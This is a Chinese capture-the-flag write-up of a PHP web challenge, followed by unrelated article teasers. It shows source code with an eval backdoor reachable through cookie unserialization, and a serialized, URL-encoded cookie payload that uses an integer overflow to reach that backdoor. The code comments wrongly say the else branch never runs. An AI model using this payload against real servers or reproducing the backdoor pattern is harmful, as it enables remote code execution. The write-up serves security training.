100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

server/2025/2/6 3:55:02/

进入靶场

没提示,去看源代码。

user.php

php"><?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{// 声明一个公共属性 $count,可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等public $count;
}
?>

add_api.php 

php"><?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){// 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1// 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1$count[++$user->count] = 1;// 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑// 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真// 暂且按代码逻辑理解,若这个条件成立if($count[] = 1){// 将 $user 对象的 count 属性再加 1$user->count += 1;// 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式// 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中setcookie("data", serialize($user));} else {// 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)// 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值// 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞eval($_GET["backdoor"]);}
} else {// 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在// 创建一个新的 User 类的实例$user = new User;// 将新创建的 $user 对象的 count 属性初始化为 1$user->count = 1;// 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中setcookie("data", serialize($user));
}
?>

如下代码 

 给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php"><?phpclass User{public $count=9223372036854775806;}echo serialize(new User);
?>

O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了 

php"><?phpclass User{public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D 

大概这样改cookie 

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂 


http://www.ppmy.cn/server/165319.html

相关文章

【毕业与课程大作业参考】基于 yolov8+pyqt5 界面自适应的表情识别检测系统 demo

【毕业与课程大作业参考】基于yolov8pyqt5界面自适应的表情识别检测系统demo.zip资源-CSDN文库 【毕业与课程大作业参考】基于 yolov8pyqt5 界面自适应的表情识别检测系统 demo 在人工智能和计算机视觉领域&#xff0c;表情识别检测系统是一个极具趣味性和挑战性的项目。对于正…

实施工程师:面试基础宝典

一.运维工程师和实施工程师的区别&#xff1a;工作内容不同、职能不同、工作形式不同 1.工作内容不同&#xff1a; 运维工程师要对公司硬件和软件进行维护。 硬件包括&#xff1a;机房、机柜、网线光纤、PDU、服 务器、网络设备、安全设备等。 实施工程师包括常用操作系统、应…

Python | Pytorch | Tensor知识点总结

如是我闻&#xff1a; Tensor 是我们接触Pytorch了解到的第一个概念&#xff0c;这里是一个关于 PyTorch Tensor 主题的知识点总结&#xff0c;涵盖了 Tensor 的基本概念、创建方式、运算操作、梯度计算和 GPU 加速等内容。 1. Tensor 基本概念 Tensor 是 PyTorch 的核心数据结…

基于直觉的理性思维入口:相提并论的三者 以“网络”为例

以下主要是 腾讯云 AI 代码助手的答问。 Q1、假设有且只有一个 能和主干网和 骨干网 相提并论的其它什么 “**网”&#xff0c;您觉得应该是什么 在考虑能与主干网和骨干网相提并论的“网”时&#xff0c;我们需要思考哪些网络在规模、重要性或功能上与这两者相当。主干网和骨…

OpenAI 实战进阶教程 - 第七节: 与数据库集成 - 生成 SQL 查询与优化

内容目标 学习如何使用 OpenAI 辅助生成和优化多表 SQL 查询了解如何获取数据库结构信息并与 OpenAI 结合使用 实操步骤 1. 创建 SQLite 数据库示例 创建数据库及表结构&#xff1a; import sqlite3# 连接 SQLite 数据库&#xff08;如果不存在则创建&#xff09; conn sq…

跨平台的客户端gui到底是选“原生”还是web

我们讨论的是客户端的“前端”gui部分是选“原生”还是“web”&#xff0c;而不是讨论客户端用“js”还是“原生”。为什么这么说呢&#xff1f;我们应该把客户端也分为“前端”和“后端”&#xff0c;如果客户端没有“后端”&#xff0c;那么不在讨论范围。 我们看一下“前端…

Kafka常见问题之 org.apache.kafka.common.errors.RecordTooLargeException

文章目录 Kafka常见问题之 org.apache.kafka.common.errors.RecordTooLargeException: The message is 1,048,576 bytes when serialized which is larger than the maximum request size.1. 错误解析2. 错误原因3. 错误复现案例3.1 生产者发送超大消息 4. 解决方案4.1 方法 1&…

CF 761A.Dasha and Stairs(Java实现)

题目分析 大概意思是输入偶数值奇数值&#xff0c;判断是否能够凑成一连串数字 思路分析 能够连成一串数字的条件考虑&#xff1a;1.偶数与奇数差为1&#xff1b;2.偶数与奇数相等&#xff0c;且不为0 代码 import java.util.*;public class Main {public static void…